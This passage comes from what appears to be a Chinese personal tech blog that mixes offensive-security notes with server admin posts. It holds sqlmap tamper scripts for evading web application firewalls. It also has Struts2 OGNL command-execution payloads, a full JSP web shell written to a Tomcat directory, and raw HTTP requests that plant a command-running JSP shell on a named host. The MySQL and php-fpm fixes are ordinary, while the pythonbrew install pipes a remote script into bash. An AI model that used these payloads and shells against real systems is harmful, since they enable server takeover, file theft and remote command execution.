                    retVal += random.choice(blanks[:-1])
                else:
                    retVal += random.choice(blanks)

                continue

            retVal += payload[i]

    return retVal

30.space2mssqlhash  使用%23%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls

    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                retVal += "%23%0A"
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal
31.space2mysqlblank  针对MYSQL使用特定的字符来替换空格
    特定的字符('%09', '%0A', '%0C', '%0D', '%0B')
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.1

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Bid%0DFROM%0Cusers'
    """

    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
    blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue

            retVal += payload[i]

    return retVal

32.space2mysqldash 针对MYSQL使用--%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by
    a new line ('\n')

    Requirement:
        * MySQL
        * MSSQL

    Tested against:

    Notes:
        * Useful to bypass several web application firewalls.

    >>> tamper('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                retVal += "--%0A"
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

33.space2plus  主要用于使用+替换空格符

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')
    Notes:
        * Is this any useful? The plus get's url-encoded by sqlmap engine
          invalidating the query afterwards
        * This tamper script works against all databases
    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "+"
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:
                retVal += "+"
                continue
            retVal += payload[i]
    return retVal

34.space2randomblank主要用"%09", "%0A", "%0C", "%0D"替换注入中的空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters
    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass several web application firewalls
    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Did%0DFROM%0Ausers'
    """
    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    blanks = ("%09", "%0A", "%0C", "%0D")
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == ' ' and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue
            retVal += payload[i]
    return retVal

35.symboliclogical  该插件主要是在and被过来后使用&& 以及||

def tamper(payload, **kwargs):
    """
    Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
    >>> tamper("1 AND '1'='1")
    "1 %26%26 '1'='1"
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))

    return retVal

36.unionalltounion 该插件主要是替换掉union all select 里面的all

def tamper(payload, **kwargs):
    """
    Replaces UNION ALL SELECT with UNION SELECT
    >>> tamper('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
    """

    return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

37.unmagicquotes  主要用在宽字节注入,绕过magic_quotes/addslashes

def tamper(payload, **kwargs):
    """
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)
    Notes:
        * Useful for bypassing magic_quotes/addslashes feature
    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
    >>> tamper("1' AND 1=1")
    '1%bf%27-- '
    """

    retVal = payload

    if payload:
        found = False
        retVal = ""

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += "%bf%27"
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
            if _ != retVal:
                retVal = _
                retVal += "-- "
            elif not any(_ in retVal for _ in ('#', '--', '/*')):
                retVal += "-- "
    return retVal

38.varnish  主要是用于X-originating-IP可以绕过部分认证

def tamper(payload, **kwargs):
    """
    Append a HTTP header 'X-originating-IP' to bypass
    WAF Protection of Varnish Firewall
    Notes:
        Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
        Examples:
        >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
        >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
        >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
        >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
        >> X-remote-IP: * or %00 or %0A
    """

    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

39.versionedmorekeywords  该插件主要是在mysql敏感词两旁加/*!%s*/

tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!%s*/" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

40.xforwardedfor.py 该插件主要用于随机xforwardedfor

def randomIP():
    numbers = []
    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)
    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' to bypass
    WAF (usually application based) protection
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    return payload

最近主站遇到的问题的来源及处理方法

发布时间:January 8, 2016 // 分类:运维工作,工作日志,linux,生活琐事 // No Comments

问题一 mysql-bin.00000X文件的来源及处理方法

晚上刚刚忙完,打算睡觉的时候,小伙伴告诉我运营的主战刚开始是数据库连接不上,紧急着我去访问就是502了

连忙使用winscp连接发现被拒绝了

于是赶紧上了控制台发现一个悲伤的事情,硬盘满了

然后在VPS商提供的简易的控制台查看下哪些大文件占据了空间

发现确定为mysql-bin.0000x这样的文件。原本小的可怜的空间发现被mysql-bin.0000x的文件占据了7G

其实mysql-bin.0000x这是数据库的操作日志,例如UPDATE一个表,或者DELETE一些数据,即使该语句没有匹配的数据,这个命令依然会存储到日志文件中,还包括每个语句执行的时间,也会记录进去的。
这样做无外乎主要有以下两个目的:
1:数据恢复
如果你的数据库出问题了,而你之前有过备份,那么可以看日志文件,找出是哪个命令导致你的数据库出问题了,想办法挽回损失。
2:主从服务器之间同步数据
主服务器上所有的操作都在记录日志中,从服务器可以根据该日志来进行,以确保两个同步。

处理方法分两种情况:
1。只有一个mysql服务器,那么可以简单的注释掉这个选项就行了。打开/etc/my.cnf把里面的log-bin这一行注释掉,重启mysql服务即可。

2.登陆数据库后清理所有的日志。执行reset master; 即可

执行完毕后发现MYSQL可以顺利的启动了。硬盘空间占用也变少了

重启下mysql吧.

OK,至此,操作完成. 以后再不会因为就几十M的数据库大小生成N个G的日志文件啦.

吸取的教训就是。以后配置my.cnf的时候,千万记得注释掉log-bin这一行。

 

问题二:于php-fpm占用系统资源

早上起来无事,写了一个早上的年终鬼。中午快要吃饭的时候,发现网站又524了

赶紧上控制台看看,我擦...内存满了

吓尿了。赶紧top看看

差不多90%都是www用户的php-fpm。结合ps找出消耗内存的元凶

ps -A --sort -rss -o comm,pmem,pcpu |uniq -c |head -15

指令ps比较常用,也比较简单。上面报告结果,我们一眼就可以命中php-fpm这个进程.服务器的负载不大,但是内存占用迅速增加,很快吃掉内存接着开始吃交换分区,系统很快挂掉!google了一天,终于发现些有用的东西,其实根据官方的介绍,php-cgi不存在内存泄漏,每个请求完成后php-cgi会回收内存,但是不会释放给操作系统,这样就会导致大量内存被php-cgi占用。官方的解决办法是降低PHP_FCGI_MAX_REQUESTS的值,我用的是php-fpm,对应的php-fpm.conf中的就是max_requests,该值的意思是发送多少个请求后会重启该线程,我们需要适当降低这个值,用以让php-fpm自动的释放内存

php-fpm初始/空闲/最大worker进程数

比如,如果是512M的vps,设置的参数如下:

pm=dynamic
pm.max_children=20
pm.start_servers=5
pm.min_spare_servers=5
pm.max_spare_servers=20
可以最大的节省内存并提高执行效率。

对于PHP-FPM多进程的模式,想要避免内存泄漏问题很简单,就是要让PHP-CGI在处理一定数量进程后退出即可。否则PHP程序或第三方模块(如Imagemagick扩展)导致的内存泄漏问题会导致内存耗尽或不足。实际上跟pm.max_requests以及max_children的设置相关。这个是每次php-fpm会建立多少个进程,这样实际上的内存消耗是max_children*max_requests*每个请求使用内存。

#php-fpm 关闭:
kill -INT `cat /usr/local/php54/var/run/php-fpm.pid`

#php-fpm重新加载
/usr/local/php/sbin/php-fpm -y /usr/local/php/etc/php-fpm.conf

重启了服务后,过了小会就稳定下来了

struts2 debug开启可执行ognl

发布时间:September 25, 2015 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // No Comments

1.测试是否存在

debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()

2. 尝试执行命令

debug=command&expression=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder({%27id%27}).start().getInputStream())).readLine()

3.获取相关路径

debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23e=%23req.getRealPath(%27%27),%23resp.println(%23e),%23resp.close()

4.写shell~wget或者curl都可以。这里提供一个写shell方式

cmd /c echo ^<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%^> ^<%! String Pwd="chopper"; String EC(String s,String c)throws Exception{return new String(s.getBytes("ISO-8859-1"),c);} Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); Connection c=DriverManager.getConnection(x[1].trim());if(x.length^>2){c.setCatalog(x[2].trim());}return c;} void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i^<r.length;i++){sb.append(r[i].toString().substring(0,2));}} void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt; SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i^<l.length;i++){dt=new java.util.Date(l[i].lastModified()); sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");} else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);} void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles(); for(int k=0;k^<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();} void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset(); ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s)); os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();} void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile(); FileOutputStream os=new FileOutputStream(f);for(int i=0;i^<d.length();i+=2) {os.write((h.indexOf(d.charAt(i))^<^<4^|h.indexOf(d.charAt(i+1))));}os.close();} void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles(); for(int j=0;j^<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());} }else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df); int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}} void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();} void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());} void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d); HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512]; while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();} void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is)); while((l=br.readLine())!=null){sb.append(l+"\r\n");}} void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs(); while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();} void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t); while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();} void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s); Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData(); for(int i=1;i^<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();} void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008); try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i^<=n;i++){sb.append(d.getColumnName(i)+"\t|\t"); }sb.append("\r\n");while(r.next()){for(i=1;i^<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();} catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n"); }catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();} %^>^<% String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs); String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs); StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|"); if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}} else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();} else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);} else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");} else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");} else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c); MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);} }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString()); %^>^|^<--^>^| >"D:/Tomcat/webapps/ROOT/website/images/right.jsp"

 

下面是struts2的绕过~使用于一些未及时修复的.

1.获取路径

POST /index.action?title=CasterJs HTTP/1.1
Host: www.0day5.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: cookie
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 256

--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}"

-1
--------------------------5423a63046c50524a84963968721%

 

2.根据获取到的路径写入shell

POST /index.action HTTP/1.1
Host: www.0day5.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: cookie
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 570

--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${"x"+(new java.io.PrintWriter("/data/www/app/0day5/loggout.jsp")).append("<%if(\"023\".equals(request.getParameter(\"pwd\"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream()\u003bint a = -1\u003bbyte[] b = new byte[2048]\u003bout.print(\"<pre>\")\u003bwhile((a=in.read(b))!=-1){out.println(new String(b))\u003b}out.print(\"</pre>\")\u003b}%>").close()}"


-1
--------------------------5423a63046c50524a84963968721%

某平台的插件

    def verify(self):
        try:
            header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
            data = {r'xxoo': '1'}
            file = {'test': ('1.jpg', StringIO('1'))}
            req = requests.Request('POST', self.option.url, headers=header, data=data, files=file).prepare()
            req.body = req.body.replace('xxoo', r'redirect:/${"\u007e\u007e"+#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")+"\u007e\u007e"}')
            req.headers['Content-Length'] = len(req.body)
            s = requests.Session()
            reponse = s.send(req, timeout=10, verify=False, allow_redirects=False)
            webroot = ''.join(re.findall(r'~~(.*?)~~', reponse.headers['Location'], re.S|re.I))
            if reponse.status_code == 302 and len(webroot):
                self.result.status = True
                self.result.description = "目标 {url} 存在st2命令执行漏洞, web路径为: {dir}".format(url=self.option.url, dir=webroot)
            else:
                self.result.status = False
                self.result.error = "不存在st2漏洞"
        except Exception, e:
            self.result.status = False
            self.result.error = str(e)

    def exploit(self):
        self.verify()

 

利用uncompyle去搞定marshal.loads

发布时间:September 21, 2015 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 4 Comments

最近一直再解密一个东西.到了

marshal.loads(zlib.decompress(urllib.urlopen(url).read()))

就没办法继续下一步了。中间休顿了好久.今天碰巧看到一篇关于这个的文章,记录下

主要应用的是 uncompyle 库
网上增强版众多,有机会还是得深入到原理去学习一下,以待自己能改进.
stackoverflow上面看搜到一些答案(多去多收获啊….)
http://stackoverflow.com/questions/8189352/decompile-python-2-7-pyc
下载库文件
https://github.com/wibiti/uncompyle2
安装
 

python setup.py install

—————————序列化导—————————

import uncompyle2
import marshal

co = marshal.loads(zlib.decompress(“/x/x/x/x/x/x/xx/x/x/x”))

f=open('/tmp/testa','w');
uncompyle2.uncompyle('2.7.3',co,f);

也不卖关子了.直接贴上

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, marshal, zlib, time, re, sys
import uncompyle2
#第一访问
#re = requests.get('https://www.bugscan.net/0a772492fbe89800')
#print re.content
#re = urllib2.urlopen('https://www.bugscan.net/0a772492fbe89800').read()
#print re
'''
#第一次的结果
#!/usr/bin/env python
import imp
if imp.get_magic() != '\x03\xf3\r\n':
    print "Please update to Python 2.7.3 (http://www.python.org/download/)"
    exit()

import urllib, marshal, zlib, time, re, sys
for k in sys._getframe(1).f_code.co_consts:
    if not isinstance(k, basestring):
        continue
    m = re.match(r"http[s]*://[\w\.]+/[\?\w]*([0-9a-f]{16})", k)
    if m:
        _S = "https"
        _B = "www.bugscan.net"
        _U = m.group(1)
        _C = True
        count = 30
        while _C:
            if count <= 0:
                break
            try:
                exec marshal.loads(zlib.decompress(urllib.urlopen('%s://%s/bin/core_new' % (_S, _B)).read()))
            except:
                time.sleep(240)
            count = count - 1
        break

'''
#从结果里面找到的
url = 'https://www.bugscan.net/bin/core_new'
data1 = marshal.loads(zlib.decompress(urllib.urlopen(url).read()))
f=open('./bugscan.py','w');
uncompyle2.uncompyle('2.7.3',data1,f);

参考:

http://wcf1987.iteye.com/blog/1672542

http://www.blackh4t.org/archives/969.html

python多版本管理工具pythonbrew

发布时间:September 15, 2015 // 分类:运维工作,工作日志,linux,windows // No Comments

06 January 2013

当你需要在一台机器上同时安装多个不同版本的python的时候,你可能就需要使用pythonbrew

pythonbrew可以帮你下载安装不同版本的python并且可以自由的在多个版本间进行切换,它和ruby的rvm类似。

安装


  • 终端输入curl -kL http://xrl.us/pythonbrewinstall | bash

    执行完成之后它会安装在~/.pythonbrew.目录下

    如果你想将pythonbrew安装到指定的位置你需要这样做

    export PYTHONBREW_ROOT=/path/to/pythonbrew
    curl -kLO http://xrl.us/pythonbrewinstall
    chmod +x pythonbrewinstall
    ./pythonbrewinstall
  • ~/.bashrc添加[[ -s $HOME/.pythonbrew/etc/bashrc ]] && source $HOME/.pythonbrew/etc/bashrc

使用


安装python

pythonbrew install 2.7.2
pythonbrew install --verbose 2.7.2
pythonbrew install --test 2.7.2
pythonbrew install --test --force 2.7.2
pythonbrew install --configure="CC=gcc_4.1" 2.7.2
pythonbrew install --no-setuptools 2.7.2
pythonbrew install http://www.python.org/ftp/python/2.7/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2
pythonbrew install 2.7.2 3.2

临时切换到指定版本的(当前shell)

pythonbrew use 2.7.2

永久切换到指定版本的

pythonbrew switch 2.7.2
pythonbrew switch 3.2

列出以安装的版本

pythonbrew list

列出所有可安装的版本

pythonbrew list -k

卸载

pythonbrew uninstall 2.7.2
pythonbrew uninstall 2.7.2 3.2

清理源文件和安装包

pythonbrew cleanup

更新pythonbrew

pythonbrew update
pythonbrew update --master
pythonbrew update --develop

停用pythonbrew

pythonbrew off

更多


更多使用方法请参考https://github.com/utahta/pythonbrew

兔大侠整理的MySQLdb Python封装类

发布时间:September 13, 2015 // 分类:运维工作,开发笔记,工作日志,代码学习,linux,python,windows,mysql // No Comments

我一直没弄明白一件事情,Python语言已经这么流行和成熟了,为什么使用MySQL的方式却如此原始。Python 2下大家推崇的依旧是使用MySQLdb这个第三方的模块,而其使用方式还是手写方法,没有一个比较权威的封装类。或许是我孤陋寡闻?

根据官方文档及一些网上的样例,兔哥整理了一个MySQLdb的封装类。基本上涵盖了常用的函数,一般开发应该够用了。

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
u'''对MySQLdb常用函数进行封装的类
 
 整理者:兔大侠和他的朋友们(http://www.tudaxia.com)
 日期:2014-04-22
 出处:源自互联网,共享于互联网:-)
 
 注意:使用这个类的前提是正确安装 MySQL-Python模块。
 官方网站:http://mysql-python.sourceforge.net/
'''

import MySQLdb
import time

class MySQL:
    u'''对MySQLdb常用函数进行封装的类'''
    
    error_code = '' #MySQL错误号码

    _instance = None #本类的实例
    _conn = None # 数据库conn
    _cur = None #游标

    _TIMEOUT = 30 #默认超时30秒
    _timecount = 0
        
    def __init__(self, dbconfig):
        u'构造器:根据数据库连接参数,创建MySQL连接'
        try:
            self._conn = MySQLdb.connect(host=dbconfig['host'],
                                         port=dbconfig['port'], 
                                         user=dbconfig['user'],
                                         passwd=dbconfig['passwd'],
                                         db=dbconfig['db'],
                                         charset=dbconfig['charset'])
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            error_msg = 'MySQL error! ', e.args[0], e.args[1]
            print error_msg
            
            # 如果没有超过预设超时时间,则再次尝试连接,
            if self._timecount &lt; self._TIMEOUT:
                interval = 5
                self._timecount += interval
                time.sleep(interval)
                return self.__init__(dbconfig)
            else:
                raise Exception(error_msg)
        
        self._cur = self._conn.cursor()
        self._instance = MySQLdb

    def query(self,sql):
        u'执行 SELECT 语句'     
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result

    def update(self,sql):
        u'执行 UPDATE 及 DELETE 语句'
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
            self._conn.commit()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result
        
    def insert(self,sql):
        u'执行 INSERT 语句。如主键为自增长int,则返回新生成的ID'
        try:
            self._cur.execute("SET NAMES utf8")
            self._cur.execute(sql)
            self._conn.commit()
            return self._conn.insert_id()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            return False
    
    def fetchAllRows(self):
        u'返回结果列表'
        return self._cur.fetchall()

    def fetchOneRow(self):
        u'返回一行结果,然后游标指向下一行。到达最后一行以后,返回None'
        return self._cur.fetchone()
 
    def getRowCount(self):
        u'获取结果行数'
        return self._cur.rowcount
                          
    def commit(self):
        u'数据库commit操作'
        self._conn.commit()
                        
    def rollback(self):
        u'数据库回滚操作'
        self._conn.rollback()
           
    def __del__(self): 
        u'释放资源(系统GC自动调用)'
        try:
            self._cur.close() 
            self._conn.close() 
        except:
            pass
        
    def  close(self):
        u'关闭数据库连接'
        self.__del__()
 

if __name__ == '__main__':
    '''使用样例'''
    
    #数据库连接参数  
    dbconfig = {'host':'localhost', 
                'port': 3306, 
                'user':'dbuser', 
                'passwd':'dbpassword', 
                'db':'testdb', 
                'charset':'utf8'}
    
    #连接数据库,创建这个类的实例
    db = MySQL(dbconfig)
    
    #操作数据库
    sql = "SELECT * FROM `sample_table`"
    db.query(sql);
    
    #获取结果列表
    result = db.fetchAllRows();
    
    #相当于php里面的var_dump
    print result
    
    #对行进行循环
    for row in result:
        #使用下标进行取值
        #print row[0]
        
        #对列进行循环
        for colum in row:
            print colum
 
    #关闭数据库
    db.close()

 

IIS短文件名扫描工具

发布时间:August 25, 2015 // 分类:运维工作,开发笔记,工作日志,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import httplib
import urlparse
import string
import threading
import Queue
import time
import string


class Scanner():
